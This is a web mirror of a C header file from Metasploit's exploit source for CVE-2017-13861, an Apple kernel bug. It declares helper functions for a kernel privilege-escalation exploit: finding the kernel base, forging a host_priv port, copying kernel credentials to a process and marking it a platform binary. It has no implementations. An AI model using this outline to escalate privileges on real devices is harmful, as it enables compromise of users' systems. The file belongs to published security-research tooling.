CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/kutils.h
Views: 11778
1
#ifndef kutils_h
2
#define kutils_h
3
4
#include "common.h"
5
#include <mach/mach.h>
6
7
uint64_t task_self_addr(void);
8
uint64_t ipc_space_kernel(void);
9
uint64_t find_kernel_base(void);
10
11
uint64_t current_thread(void);
12
13
mach_port_t fake_host_priv(void);
14
15
int message_size_for_kalloc_size(int kalloc_size);
16
17
uint64_t get_proc_struct_for_pid(pid_t pid);
18
uint64_t get_address_of_port(pid_t pid, mach_port_t port);
19
uint64_t get_kernel_cred_addr(void);
20
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr);
21
void set_platform_binary(uint64_t proc);
22
23
#endif /* kutils_h */
24
25